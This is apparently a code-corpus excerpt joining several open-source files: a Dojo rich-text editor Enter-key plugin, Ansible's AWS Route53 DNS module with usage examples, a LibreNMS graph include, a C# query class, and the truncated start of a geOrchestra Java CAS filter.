Available via Academic Free License >= 2.1 OR the modified BSD license.
see: http://dojotoolkit.org/license for details
*/
if(!dojo._hasResource["dijit._editor.plugins.EnterKeyHandling"]){
dojo._hasResource["dijit._editor.plugins.EnterKeyHandling"]=true;
dojo.provide("dijit._editor.plugins.EnterKeyHandling");
dojo.require("dojo.window");
dojo.require("dijit._editor._Plugin");
dojo.require("dijit._editor.range");
dojo.declare("dijit._editor.plugins.EnterKeyHandling",dijit._editor._Plugin,{blockNodeForEnter:"BR",constructor:function(_1){
if(_1){
if("blockNodeForEnter" in _1){
_1.blockNodeForEnter=_1.blockNodeForEnter.toUpperCase();
}
dojo.mixin(this,_1);
}
},setEditor:function(_2){
if(this.editor===_2){
return;
}
this.editor=_2;
if(this.blockNodeForEnter=="BR"){
this.editor.customUndo=true;
_2.onLoadDeferred.addCallback(dojo.hitch(this,function(d){
this.connect(_2.document,"onkeypress",function(e){
if(e.charOrCode==dojo.keys.ENTER){
var ne=dojo.mixin({},e);
ne.shiftKey=true;
if(!this.handleEnterKey(ne)){
dojo.stopEvent(e);
}
}
});
return d;
}));
}else{
if(this.blockNodeForEnter){
var h=dojo.hitch(this,this.handleEnterKey);
_2.addKeyHandler(13,0,0,h);
_2.addKeyHandler(13,0,1,h);
this.connect(this.editor,"onKeyPressed","onKeyPressed");
}
}
},onKeyPressed:function(e){
if(this._checkListLater){
if(dojo.withGlobal(this.editor.window,"isCollapsed",dijit)){
var _3=dojo.withGlobal(this.editor.window,"getAncestorElement",dijit._editor.selection,["LI"]);
if(!_3){
dijit._editor.RichText.prototype.execCommand.call(this.editor,"formatblock",this.blockNodeForEnter);
var _4=dojo.withGlobal(this.editor.window,"getAncestorElement",dijit._editor.selection,[this.blockNodeForEnter]);
if(_4){
_4.innerHTML=this.bogusHtmlContent;
if(dojo.isIE){
var r=this.editor.document.selection.createRange();
r.move("character",-1);
r.select();
}
}else{
console.error("onKeyPressed: Cannot find the new block node");
}
}else{
if(dojo.isMoz){
if(_3.parentNode.parentNode.nodeName=="LI"){
_3=_3.parentNode.parentNode;
}
}
var fc=_3.firstChild;
if(fc&&fc.nodeType==1&&(fc.nodeName=="UL"||fc.nodeName=="OL")){
_3.insertBefore(fc.ownerDocument.createTextNode(" "),fc);
var _5=dijit.range.create(this.editor.window);
_5.setStart(_3.firstChild,0);
var _6=dijit.range.getSelection(this.editor.window,true);
_6.removeAllRanges();
_6.addRange(_5);
}
}
}
this._checkListLater=false;
}
if(this._pressedEnterInBlock){
if(this._pressedEnterInBlock.previousSibling){
this.removeTrailingBr(this._pressedEnterInBlock.previousSibling);
}
delete this._pressedEnterInBlock;
}
},bogusHtmlContent:" ",blockNodes:/^(?:P|H1|H2|H3|H4|H5|H6|LI)$/,handleEnterKey:function(e){
var _7,_8,_9,_a=this.editor.document,br,rs,_b;
if(e.shiftKey){
var _c=dojo.withGlobal(this.editor.window,"getParentElement",dijit._editor.selection);
var _d=dijit.range.getAncestor(_c,this.blockNodes);
if(_d){
if(_d.tagName=="LI"){
return true;
}
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
if(!_8.collapsed){
_8.deleteContents();
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
}
if(dijit.range.atBeginningOfContainer(_d,_8.startContainer,_8.startOffset)){
br=_a.createElement("br");
_9=dijit.range.create(this.editor.window);
_d.insertBefore(br,_d.firstChild);
_9.setStartBefore(br.nextSibling);
_7.removeAllRanges();
_7.addRange(_9);
}else{
if(dijit.range.atEndOfContainer(_d,_8.startContainer,_8.startOffset)){
_9=dijit.range.create(this.editor.window);
br=_a.createElement("br");
_d.appendChild(br);
_d.appendChild(_a.createTextNode(" "));
_9.setStart(_d.lastChild,0);
_7.removeAllRanges();
_7.addRange(_9);
}else{
rs=_8.startContainer;
if(rs&&rs.nodeType==3){
_b=rs.nodeValue;
dojo.withGlobal(this.editor.window,function(){
var _e=_a.createTextNode(_b.substring(0,_8.startOffset));
var _f=_a.createTextNode(_b.substring(_8.startOffset));
var _10=_a.createElement("br");
if(_f.nodeValue==""&&dojo.isWebKit){
_f=_a.createTextNode(" ");
}
dojo.place(_e,rs,"after");
dojo.place(_10,_e,"after");
dojo.place(_f,_10,"after");
dojo.destroy(rs);
_9=dijit.range.create(dojo.gobal);
_9.setStart(_f,0);
_7.removeAllRanges();
_7.addRange(_9);
});
return false;
}
return true;
}
}
}else{
_7=dijit.range.getSelection(this.editor.window);
if(_7.rangeCount){
_8=_7.getRangeAt(0);
if(_8&&_8.startContainer){
if(!_8.collapsed){
_8.deleteContents();
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
}
rs=_8.startContainer;
var _11,_12,_13;
if(rs&&rs.nodeType==3){
dojo.withGlobal(this.editor.window,dojo.hitch(this,function(){
var _14=false;
var _15=_8.startOffset;
if(rs.length<_15){
ret=this._adjustNodeAndOffset(rs,_15);
rs=ret.node;
_15=ret.offset;
}
_b=rs.nodeValue;
_11=_a.createTextNode(_b.substring(0,_15));
_12=_a.createTextNode(_b.substring(_15));
_13=_a.createElement("br");
if(!_12.length){
_12=_a.createTextNode(" ");
_14=true;
}
if(_11.length){
dojo.place(_11,rs,"after");
}else{
_11=rs;
}
dojo.place(_13,_11,"after");
dojo.place(_12,_13,"after");
dojo.destroy(rs);
_9=dijit.range.create(dojo.gobal);
_9.setStart(_12,0);
_9.setEnd(_12,_12.length);
_7.removeAllRanges();
_7.addRange(_9);
if(_14&&!dojo.isWebKit){
dijit._editor.selection.remove();
}else{
dijit._editor.selection.collapse(true);
}
}));
}else{
dojo.withGlobal(this.editor.window,dojo.hitch(this,function(){
var _16=_a.createElement("br");
rs.appendChild(_16);
var _17=_a.createTextNode(" ");
rs.appendChild(_17);
_9=dijit.range.create(dojo.global);
_9.setStart(_17,0);
_9.setEnd(_17,_17.length);
_7.removeAllRanges();
_7.addRange(_9);
dijit._editor.selection.collapse(true);
}));
}
}
}else{
dijit._editor.RichText.prototype.execCommand.call(this.editor,"inserthtml","<br>");
}
}
return false;
}
var _18=true;
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
if(!_8.collapsed){
_8.deleteContents();
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
}
var _19=dijit.range.getBlockAncestor(_8.endContainer,null,this.editor.editNode);
var _1a=_19.blockNode;
if((this._checkListLater=(_1a&&(_1a.nodeName=="LI"||_1a.parentNode.nodeName=="LI")))){
if(dojo.isMoz){
this._pressedEnterInBlock=_1a;
}
if(/^(\s| |\xA0|<span\b[^>]*\bclass=['"]Apple-style-span['"][^>]*>(\s| |\xA0)<\/span>)?(<br>)?$/.test(_1a.innerHTML)){
_1a.innerHTML="";
if(dojo.isWebKit){
_9=dijit.range.create(this.editor.window);
_9.setStart(_1a,0);
_7.removeAllRanges();
_7.addRange(_9);
}
this._checkListLater=false;
}
return true;
}
if(!_19.blockNode||_19.blockNode===this.editor.editNode){
try{
dijit._editor.RichText.prototype.execCommand.call(this.editor,"formatblock",this.blockNodeForEnter);
}
catch(e2){
}
_19={blockNode:dojo.withGlobal(this.editor.window,"getAncestorElement",dijit._editor.selection,[this.blockNodeForEnter]),blockContainer:this.editor.editNode};
if(_19.blockNode){
if(_19.blockNode!=this.editor.editNode&&(!(_19.blockNode.textContent||_19.blockNode.innerHTML).replace(/^\s+|\s+$/g,"").length)){
this.removeTrailingBr(_19.blockNode);
return false;
}
}else{
_19.blockNode=this.editor.editNode;
}
_7=dijit.range.getSelection(this.editor.window);
_8=_7.getRangeAt(0);
}
var _1b=_a.createElement(this.blockNodeForEnter);
_1b.innerHTML=this.bogusHtmlContent;
this.removeTrailingBr(_19.blockNode);
var _1c=_8.endOffset;
var _1d=_8.endContainer;
if(_1d.length<_1c){
var ret=this._adjustNodeAndOffset(_1d,_1c);
_1d=ret.node;
_1c=ret.offset;
}
if(dijit.range.atEndOfContainer(_19.blockNode,_1d,_1c)){
if(_19.blockNode===_19.blockContainer){
_19.blockNode.appendChild(_1b);
}else{
dojo.place(_1b,_19.blockNode,"after");
}
_18=false;
_9=dijit.range.create(this.editor.window);
_9.setStart(_1b,0);
_7.removeAllRanges();
_7.addRange(_9);
if(this.editor.height){
dojo.window.scrollIntoView(_1b);
}
}else{
if(dijit.range.atBeginningOfContainer(_19.blockNode,_8.startContainer,_8.startOffset)){
dojo.place(_1b,_19.blockNode,_19.blockNode===_19.blockContainer?"first":"before");
if(_1b.nextSibling&&this.editor.height){
_9=dijit.range.create(this.editor.window);
_9.setStart(_1b.nextSibling,0);
_7.removeAllRanges();
_7.addRange(_9);
dojo.window.scrollIntoView(_1b.nextSibling);
}
_18=false;
}else{
if(_19.blockNode===_19.blockContainer){
_19.blockNode.appendChild(_1b);
}else{
dojo.place(_1b,_19.blockNode,"after");
}
_18=false;
if(_19.blockNode.style){
if(_1b.style){
if(_19.blockNode.style.cssText){
_1b.style.cssText=_19.blockNode.style.cssText;
}
}
}
rs=_8.startContainer;
if(rs&&rs.nodeType==3){
var _1e,_1f;
_1c=_8.endOffset;
if(rs.length<_1c){
ret=this._adjustNodeAndOffset(rs,_1c);
rs=ret.node;
_1c=ret.offset;
}
_b=rs.nodeValue;
var _11=_a.createTextNode(_b.substring(0,_1c));
var _12=_a.createTextNode(_b.substring(_1c,_b.length));
dojo.place(_11,rs,"before");
dojo.place(_12,rs,"after");
dojo.destroy(rs);
var _20=_11.parentNode;
while(_20!==_19.blockNode){
var tg=_20.tagName;
var _21=_a.createElement(tg);
if(_20.style){
if(_21.style){
if(_20.style.cssText){
_21.style.cssText=_20.style.cssText;
}
}
}
_1e=_12;
while(_1e){
_1f=_1e.nextSibling;
_21.appendChild(_1e);
_1e=_1f;
}
dojo.place(_21,_20,"after");
_11=_20;
_12=_21;
_20=_20.parentNode;
}
_1e=_12;
if(_1e.nodeType==1||(_1e.nodeType==3&&_1e.nodeValue)){
_1b.innerHTML="";
}
while(_1e){
_1f=_1e.nextSibling;
_1b.appendChild(_1e);
_1e=_1f;
}
}
_9=dijit.range.create(this.editor.window);
_9.setStart(_1b,0);
_7.removeAllRanges();
_7.addRange(_9);
if(this.editor.height){
dijit.scrollIntoView(_1b);
}
if(dojo.isMoz){
this._pressedEnterInBlock=_19.blockNode;
}
}
}
return _18;
},_adjustNodeAndOffset:function(_22,_23){
while(_22.length<_23&&_22.nextSibling&&_22.nextSibling.nodeType==3){
_23=_23-_22.length;
_22=_22.nextSibling;
}
var ret={"node":_22,"offset":_23};
return ret;
},removeTrailingBr:function(_24){
var _25=/P|DIV|LI/i.test(_24.tagName)?_24:dijit._editor.selection.getParentOfType(_24,["P","DIV","LI"]);
if(!_25){
return;
}
if(_25.lastChild){
if((_25.childNodes.length>1&&_25.lastChild.nodeType==3&&/^[\s\xAD]*$/.test(_25.lastChild.nodeValue))||_25.lastChild.tagName=="BR"){
dojo.destroy(_25.lastChild);
}
}
if(!_25.childNodes.length){
_25.innerHTML=this.bogusHtmlContent;
}
}});
}
| gpl-2.0 |
erjohnso/ansible | lib/ansible/modules/cloud/amazon/route53.py | 22378 | #!/usr/bin/python
# Copyright: Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['stableinterface'],
'supported_by': 'community'}
DOCUMENTATION = '''
---
module: route53
version_added: "1.3"
short_description: add or delete entries in Amazons Route53 DNS service
description:
- Creates and deletes DNS records in Amazons Route53 service
options:
state:
description:
- Specifies the state of the resource record. As of Ansible 2.4, the I(command) option has been changed
to I(state) as default and the choices 'present' and 'absent' have been added, but I(command) still works as well.
required: true
aliases: [ 'command' ]
choices: [ 'present', 'absent', 'get', 'create', 'delete' ]
zone:
description:
- The DNS zone to modify
required: true
hosted_zone_id:
description:
- The Hosted Zone ID of the DNS zone to modify
required: false
version_added: "2.0"
default: null
record:
description:
- The full DNS record to create or delete
required: true
ttl:
description:
- The TTL to give the new record
required: false
default: 3600 (one hour)
type:
description:
- The type of DNS record to create
required: true
choices: [ 'A', 'CNAME', 'MX', 'AAAA', 'TXT', 'PTR', 'SRV', 'SPF', 'CAA', 'NS', 'SOA' ]
alias:
description:
- Indicates if this is an alias record.
required: false
version_added: "1.9"
default: False
choices: [ 'True', 'False' ]
alias_hosted_zone_id:
description:
- The hosted zone identifier.
required: false
version_added: "1.9"
default: null
alias_evaluate_target_health:
description:
- Whether or not to evaluate an alias target health. Useful for aliases to Elastic Load Balancers.
required: false
version_added: "2.1"
default: false
value:
description:
- The new value when creating a DNS record. YAML lists or multiple comma-spaced values are allowed for non-alias records.
- When deleting a record all values for the record must be specified or Route53 will not delete it.
required: false
default: null
overwrite:
description:
- Whether an existing record should be overwritten on create if values do not match
required: false
default: null
retry_interval:
description:
- In the case that route53 is still servicing a prior request, this module will wait and try again after this many seconds. If you have many
domain names, the default of 500 seconds may be too long.
required: false
default: 500
private_zone:
description:
- If set to true, the private zone matching the requested name within the domain will be used if there are both public and private zones.
The default is to use the public zone.
required: false
default: false
version_added: "1.9"
identifier:
description:
- Have to be specified for Weighted, latency-based and failover resource record sets only. An identifier
that differentiates among multiple resource record sets that have the
same combination of DNS name and type.
required: false
default: null
version_added: "2.0"
weight:
description:
- Weighted resource record sets only. Among resource record sets that
have the same combination of DNS name and type, a value that
determines what portion of traffic for the current resource record set
is routed to the associated location.
required: false
default: null
version_added: "2.0"
region:
description:
- Latency-based resource record sets only Among resource record sets
that have the same combination of DNS name and type, a value that
determines which region this should be associated with for the
latency-based routing
required: false
default: null
version_added: "2.0"
health_check:
description:
- Health check to associate with this record
required: false
default: null
version_added: "2.0"
failover:
description:
- Failover resource record sets only. Whether this is the primary or
secondary resource record set. Allowed values are PRIMARY and SECONDARY
required: false
default: null
version_added: "2.0"
vpc_id:
description:
- "When used in conjunction with private_zone: true, this will only modify records in the private hosted zone attached to this VPC."
- This allows you to have multiple private hosted zones, all with the same name, attached to different VPCs.
required: false
default: null
version_added: "2.0"
wait:
description:
- Wait until the changes have been replicated to all Amazon Route 53 DNS servers.
required: false
default: no
version_added: "2.1"
wait_timeout:
description:
- How long to wait for the changes to be replicated, in seconds.
required: false
default: 300
version_added: "2.1"
author:
- "Bruce Pennypacker (@bpennypacker)"
- "Mike Buzzetti <mike.buzzetti@gmail.com>"
extends_documentation_fragment: aws
'''
EXAMPLES = '''
# Add new.foo.com as an A record with 3 IPs and wait until the changes have been replicated
- route53:
state: present
zone: foo.com
record: new.foo.com
type: A
ttl: 7200
value: 1.1.1.1,2.2.2.2,3.3.3.3
wait: yes
# Update new.foo.com as an A record with a list of 3 IPs and wait until the changes have been replicated
- route53:
state: present
zone: foo.com
record: new.foo.com
type: A
ttl: 7200
value:
- 1.1.1.1
- 2.2.2.2
- 3.3.3.3
wait: yes
# Retrieve the details for new.foo.com
- route53:
state: get
zone: foo.com
record: new.foo.com
type: A
register: rec
# Delete new.foo.com A record using the results from the get command
- route53:
state: absent
zone: foo.com
record: "{{ rec.set.record }}"
ttl: "{{ rec.set.ttl }}"
type: "{{ rec.set.type }}"
value: "{{ rec.set.value }}"
# Add an AAAA record. Note that because there are colons in the value
# that the IPv6 address must be quoted. Also shows using the old form command=create.
- route53:
command: create
zone: foo.com
record: localhost.foo.com
type: AAAA
ttl: 7200
value: "::1"
# Add a SRV record with multiple fields for a service on port 22222
# For more information on SRV records see:
# https://en.wikipedia.org/wiki/SRV_record
- route53:
state: present
zone: foo.com
record: "_example-service._tcp.foo.com"
type: SRV
value: "0 0 22222 host1.foo.com,0 0 22222 host2.foo.com"
# Add a TXT record. Note that TXT and SPF records must be surrounded
# by quotes when sent to Route 53:
- route53:
state: present
zone: foo.com
record: localhost.foo.com
type: TXT
ttl: 7200
value: '"bar"'
# Add an alias record that points to an Amazon ELB:
- route53:
state: present
zone: foo.com
record: elb.foo.com
type: A
value: "{{ elb_dns_name }}"
alias: True
alias_hosted_zone_id: "{{ elb_zone_id }}"
# Retrieve the details for elb.foo.com
- route53:
state: get
zone: foo.com
record: elb.foo.com
type: A
register: rec
# Delete an alias record using the results from the get command
- route53:
state: absent
zone: foo.com
record: "{{ rec.set.record }}"
ttl: "{{ rec.set.ttl }}"
type: "{{ rec.set.type }}"
value: "{{ rec.set.value }}"
alias: True
alias_hosted_zone_id: "{{ rec.set.alias_hosted_zone_id }}"
# Add an alias record that points to an Amazon ELB and evaluates it health:
- route53:
state: present
zone: foo.com
record: elb.foo.com
type: A
value: "{{ elb_dns_name }}"
alias: True
alias_hosted_zone_id: "{{ elb_zone_id }}"
alias_evaluate_target_health: True
# Add an AAAA record with Hosted Zone ID.
- route53:
state: present
zone: foo.com
hosted_zone_id: Z2AABBCCDDEEFF
record: localhost.foo.com
type: AAAA
ttl: 7200
value: "::1"
# Use a routing policy to distribute traffic:
- route53:
state: present
zone: foo.com
record: www.foo.com
type: CNAME
value: host1.foo.com
ttl: 30
# Routing policy
identifier: "host1@www"
weight: 100
health_check: "d994b780-3150-49fd-9205-356abdd42e75"
# Add a CAA record (RFC 6844):
- route53:
state: present
zone: example.com
record: example.com
type: CAA
value:
- 0 issue "ca.example.net"
- 0 issuewild ";"
- 0 iodef "mailto:security@example.com"
'''
import time
import distutils.version
try:
import boto
import boto.ec2
from boto import route53
from boto.route53 import Route53Connection
from boto.route53.record import Record, ResourceRecordSets
from boto.route53.status import Status
HAS_BOTO = True
except ImportError:
HAS_BOTO = False
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.ec2 import ec2_argument_spec, get_aws_connection_info
MINIMUM_BOTO_VERSION = '2.28.0'
WAIT_RETRY_SLEEP = 5 # how many seconds to wait between propagation status polls
class TimeoutError(Exception):
pass
def get_zone_by_name(conn, module, zone_name, want_private, zone_id, want_vpc_id):
"""Finds a zone by name or zone_id"""
for zone in invoke_with_throttling_retries(conn.get_zones):
# only save this zone id if the private status of the zone matches
# the private_zone_in boolean specified in the params
private_zone = module.boolean(zone.config.get('PrivateZone', False))
if private_zone == want_private and ((zone.name == zone_name and zone_id is None) or zone.id.replace('/hostedzone/', '') == zone_id):
if want_vpc_id:
# NOTE: These details aren't available in other boto methods, hence the necessary
# extra API call
hosted_zone = invoke_with_throttling_retries(conn.get_hosted_zone, zone.id)
zone_details = hosted_zone['GetHostedZoneResponse']
# this is to deal with this boto bug: https://github.com/boto/boto/pull/2882
if isinstance(zone_details['VPCs'], dict):
if zone_details['VPCs']['VPC']['VPCId'] == want_vpc_id:
return zone
else: # Forward compatibility for when boto fixes that bug
if want_vpc_id in [v['VPCId'] for v in zone_details['VPCs']]:
return zone
else:
return zone
return None
def commit(changes, retry_interval, wait, wait_timeout):
"""Commit changes, but retry PriorRequestNotComplete errors."""
result = None
retry = 10
while True:
try:
retry -= 1
result = changes.commit()
break
except boto.route53.exception.DNSServerError as e:
code = e.body.split("<Code>")[1]
code = code.split("</Code>")[0]
if code != 'PriorRequestNotComplete' or retry < 0:
raise e
time.sleep(float(retry_interval))
if wait:
timeout_time = time.time() + wait_timeout
connection = changes.connection
change = result['ChangeResourceRecordSetsResponse']['ChangeInfo']
status = Status(connection, change)
while status.status != 'INSYNC' and time.time() < timeout_time:
time.sleep(WAIT_RETRY_SLEEP)
status.update()
if time.time() >= timeout_time:
raise TimeoutError()
return result
# Shamelessly copied over from https://git.io/vgmDG
IGNORE_CODE = 'Throttling'
MAX_RETRIES = 5
def invoke_with_throttling_retries(function_ref, *argv, **kwargs):
retries = 0
while True:
try:
retval = function_ref(*argv, **kwargs)
return retval
except boto.exception.BotoServerError as e:
if e.code != IGNORE_CODE or retries == MAX_RETRIES:
raise e
time.sleep(5 * (2**retries))
retries += 1
def main():
argument_spec = ec2_argument_spec()
argument_spec.update(dict(
state=dict(aliases=['command'], choices=['present', 'absent', 'get', 'create', 'delete'], required=True),
zone=dict(required=True),
hosted_zone_id=dict(required=False, default=None),
record=dict(required=True),
ttl=dict(required=False, type='int', default=3600),
type=dict(choices=['A', 'CNAME', 'MX', 'AAAA', 'TXT', 'PTR', 'SRV', 'SPF', 'CAA', 'NS', 'SOA'], required=True),
alias=dict(required=False, type='bool'),
alias_hosted_zone_id=dict(required=False),
alias_evaluate_target_health=dict(required=False, type='bool', default=False),
value=dict(required=False, type='list', default=[]),
overwrite=dict(required=False, type='bool'),
retry_interval=dict(required=False, default=500),
private_zone=dict(required=False, type='bool', default=False),
identifier=dict(required=False, default=None),
weight=dict(required=False, type='int'),
region=dict(required=False),
health_check=dict(required=False),
failover=dict(required=False, choices=['PRIMARY', 'SECONDARY']),
vpc_id=dict(required=False),
wait=dict(required=False, type='bool', default=False),
wait_timeout=dict(required=False, type='int', default=300),
))
# state=present, absent, create, delete THEN value is required
required_if = [('state', 'present', ['value']), ('state', 'create', ['value'])]
required_if.extend([('state', 'absent', ['value']), ('state', 'delete', ['value'])])
# If alias is True then you must specify alias_hosted_zone as well
required_together = [['alias', 'alias_hosted_zone_id']]
# failover, region, and weight are mutually exclusive
mutually_exclusive = [('failover', 'region', 'weight')]
module = AnsibleModule(argument_spec=argument_spec, required_together=required_together, required_if=required_if,
mutually_exclusive=mutually_exclusive)
if not HAS_BOTO:
module.fail_json(msg='boto required for this module')
if distutils.version.StrictVersion(boto.__version__) < distutils.version.StrictVersion(MINIMUM_BOTO_VERSION):
module.fail_json(msg='Found boto in version %s, but >= %s is required' % (boto.__version__, MINIMUM_BOTO_VERSION))
if module.params['state'] in ('present', 'create'):
command_in = 'create'
elif module.params['state'] in ('absent', 'delete'):
command_in = 'delete'
elif module.params['state'] == 'get':
command_in = 'get'
zone_in = module.params.get('zone').lower()
hosted_zone_id_in = module.params.get('hosted_zone_id')
ttl_in = module.params.get('ttl')
record_in = module.params.get('record').lower()
type_in = module.params.get('type')
value_in = module.params.get('value')
alias_in = module.params.get('alias')
alias_hosted_zone_id_in = module.params.get('alias_hosted_zone_id')
alias_evaluate_target_health_in = module.params.get('alias_evaluate_target_health')
retry_interval_in = module.params.get('retry_interval')
if module.params['vpc_id'] is not None:
private_zone_in = True
else:
private_zone_in = module.params.get('private_zone')
identifier_in = module.params.get('identifier')
weight_in = module.params.get('weight')
region_in = module.params.get('region')
health_check_in = module.params.get('health_check')
failover_in = module.params.get('failover')
vpc_id_in = module.params.get('vpc_id')
wait_in = module.params.get('wait')
wait_timeout_in = module.params.get('wait_timeout')
region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module)
if zone_in[-1:] != '.':
zone_in += "."
if record_in[-1:] != '.':
record_in += "."
if command_in == 'create' or command_in == 'delete':
if alias_in and len(value_in) != 1:
module.fail_json(msg="parameter 'value' must contain a single dns name for alias records")
if (weight_in is not None or region_in is not None or failover_in is not None) and identifier_in is None:
module.fail_json(msg="If you specify failover, region or weight you must also specify identifier")
if (weight_in is None and region_in is None and failover_in is None) and identifier_in is not None:
module.fail_json(msg="You have specified identifier which makes sense only if you specify one of: weight, region or failover.")
# connect to the route53 endpoint
try:
conn = Route53Connection(**aws_connect_kwargs)
except boto.exception.BotoServerError as e:
module.fail_json(msg=e.error_message)
# Find the named zone ID
zone = get_zone_by_name(conn, module, zone_in, private_zone_in, hosted_zone_id_in, vpc_id_in)
# Verify that the requested zone is already defined in Route53
if zone is None:
errmsg = "Zone %s does not exist in Route53" % zone_in
module.fail_json(msg=errmsg)
record = {}
found_record = False
wanted_rset = Record(name=record_in, type=type_in, ttl=ttl_in,
identifier=identifier_in, weight=weight_in,
region=region_in, health_check=health_check_in,
failover=failover_in)
for v in value_in:
if alias_in:
wanted_rset.set_alias(alias_hosted_zone_id_in, v, alias_evaluate_target_health_in)
else:
wanted_rset.add_value(v)
sets = invoke_with_throttling_retries(conn.get_all_rrsets, zone.id, name=record_in,
type=type_in, identifier=identifier_in)
sets_iter = iter(sets)
while True:
try:
rset = invoke_with_throttling_retries(next, sets_iter)
except StopIteration:
break
# Due to a bug in either AWS or Boto, "special" characters are returned as octals, preventing round
# tripping of things like * and @.
decoded_name = rset.name.replace(r'\052', '*')
decoded_name = decoded_name.replace(r'\100', '@')
# Need to save this changes in rset, because of comparing rset.to_xml() == wanted_rset.to_xml() in next block
rset.name = decoded_name
if identifier_in is not None:
identifier_in = str(identifier_in)
if rset.type == type_in and decoded_name.lower() == record_in.lower() and rset.identifier == identifier_in:
found_record = True
record['zone'] = zone_in
record['type'] = rset.type
record['record'] = decoded_name
record['ttl'] = rset.ttl
record['value'] = ','.join(sorted(rset.resource_records))
record['values'] = sorted(rset.resource_records)
if hosted_zone_id_in:
record['hosted_zone_id'] = hosted_zone_id_in
record['identifier'] = rset.identifier
record['weight'] = rset.weight
record['region'] = rset.region
record['failover'] = rset.failover
record['health_check'] = rset.health_check
if hosted_zone_id_in:
record['hosted_zone_id'] = hosted_zone_id_in
if rset.alias_dns_name:
record['alias'] = True
record['value'] = rset.alias_dns_name
record['values'] = [rset.alias_dns_name]
record['alias_hosted_zone_id'] = rset.alias_hosted_zone_id
record['alias_evaluate_target_health'] = rset.alias_evaluate_target_health
else:
record['alias'] = False
record['value'] = ','.join(sorted(rset.resource_records))
record['values'] = sorted(rset.resource_records)
if command_in == 'create' and rset.to_xml() == wanted_rset.to_xml():
module.exit_json(changed=False)
# We need to look only at the first rrset returned by the above call,
# so break here. The returned elements begin with the one matching our
# requested name, type, and identifier, if such an element exists,
# followed by all others that come after it in alphabetical order.
# Therefore, if the first set does not match, no subsequent set will
# match either.
break
if command_in == 'get':
if type_in == 'NS':
ns = record.get('values', [])
else:
# Retrieve name servers associated to the zone.
z = invoke_with_throttling_retries(conn.get_zone, zone_in)
ns = invoke_with_throttling_retries(z.get_nameservers)
module.exit_json(changed=False, set=record, nameservers=ns)
if command_in == 'delete' and not found_record:
module.exit_json(changed=False)
changes = ResourceRecordSets(conn, zone.id)
if command_in == 'create' or command_in == 'delete':
if command_in == 'create' and found_record:
if not module.params['overwrite']:
module.fail_json(msg="Record already exists with different value. Set 'overwrite' to replace it")
command = 'UPSERT'
else:
command = command_in.upper()
changes.add_change_record(command, wanted_rset)
try:
result = invoke_with_throttling_retries(commit, changes, retry_interval_in, wait_in, wait_timeout_in)
except boto.route53.exception.DNSServerError as e:
txt = e.body.split("<Message>")[1]
txt = txt.split("</Message>")[0]
if "but it already exists" in txt:
module.exit_json(changed=False)
else:
module.fail_json(msg=txt)
except TimeoutError:
module.fail_json(msg='Timeout waiting for changes to replicate')
module.exit_json(changed=True)
if __name__ == '__main__':
main()
| gpl-3.0 |
dlangille/librenms | includes/html/graphs/application/pureftpd_users.inc.php | 712 | <?php
require 'includes/html/graphs/common.inc.php';
$scale_min = 0;
$nototal = 1;
$unit_text = 'Users connected';
$unitlen = 15;
$bigdescrlen = 20;
$smalldescrlen = 15;
$colours = 'mixed';
$array = [
'total' => 'Total',
];
$rrd_filename = rrd_name($device['hostname'], ['app', 'pureftpd', $app['app_id'], 'users']);
$rrd_list = [];
if (rrdtool_check_rrd_exists($rrd_filename)) {
$i = 0;
foreach ($array as $ds => $descr) {
$rrd_list[$i]['filename'] = $rrd_filename;
$rrd_list[$i]['descr'] = $descr;
$rrd_list[$i]['ds'] = $ds;
$i++;
}
} else {
echo "file missing: $rrd_filename";
}
require 'includes/html/graphs/generic_multi_line_exact_numbers.inc.php';
| gpl-3.0 |
larukedi/tasslehoff-library | DataAccess/DatabaseManagerQuery.cs | 2094 | // -----------------------------------------------------------------------
// <copyright file="DatabaseManagerQuery.cs" company="-">
// Copyright (c) 2014 Eser Ozvataf (eser@sent.com). All rights reserved.
// Web: http://eser.ozvataf.com/ GitHub: http://github.com/larukedi
// </copyright>
// <author>Eser Ozvataf (eser@sent.com)</author>
// -----------------------------------------------------------------------
//// This program is free software: you can redistribute it and/or modify
//// it under the terms of the GNU General Public License as published by
//// the Free Software Foundation, either version 3 of the License, or
//// (at your option) any later version.
////
//// This program is distributed in the hope that it will be useful,
//// but WITHOUT ANY WARRANTY; without even the implied warranty of
//// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
//// GNU General Public License for more details.
////
//// You should have received a copy of the GNU General Public License
//// along with this program. If not, see <http://www.gnu.org/licenses/>.
namespace Tasslehoff.Library.DataAccess
{
using System;
using System.Runtime.Serialization;
/// <summary>
/// DataQueryManagerItem class.
/// </summary>
[Serializable]
[DataContract]
public class DatabaseManagerQuery
{
// fields
/// <summary>
/// Sql Command.
/// </summary>
[DataMember(Name = "SqlCommand")]
private string sqlCommand;
// constructors
/// <summary>
/// Initializes a new instance of the <see cref="DatabaseManagerQuery"/> class.
/// </summary>
public DatabaseManagerQuery()
{
}
// properties
/// <summary>
/// Gets or Sets the sql command.
/// </summary>
[IgnoreDataMember]
public string SqlCommand
{
get
{
return this.sqlCommand;
}
set
{
this.sqlCommand = value;
}
}
}
}
| gpl-3.0 |
jusabatier/georchestra | security-proxy/src/main/java/org/georchestra/security/workaround/GatewayEnabledCasProcessingFilter.java | 1594 | /*
* Copyright (C) 2009-2016 by the geOrchestra PSC
*
* This file is part of geOrchestra.
*
* geOrchestra is free software: you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free
* Software Foundation, either version 3 of the License, or (at your option)
* any later version.
*
* geOrchestra is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along with
* geOrchestra. If not, see <http://www.gnu.org/licenses/>.
*/
package org.georchestra.security.workaround;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.cas.web.CasAuthenticationFilter;
